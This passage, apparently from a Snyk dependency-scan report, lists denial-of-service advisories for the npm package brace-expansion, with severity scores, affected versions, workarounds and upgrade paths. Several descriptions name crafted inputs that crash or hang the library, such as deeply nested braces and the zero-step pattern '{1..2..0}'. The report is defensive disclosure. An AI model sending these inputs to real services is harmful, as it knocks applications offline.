"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
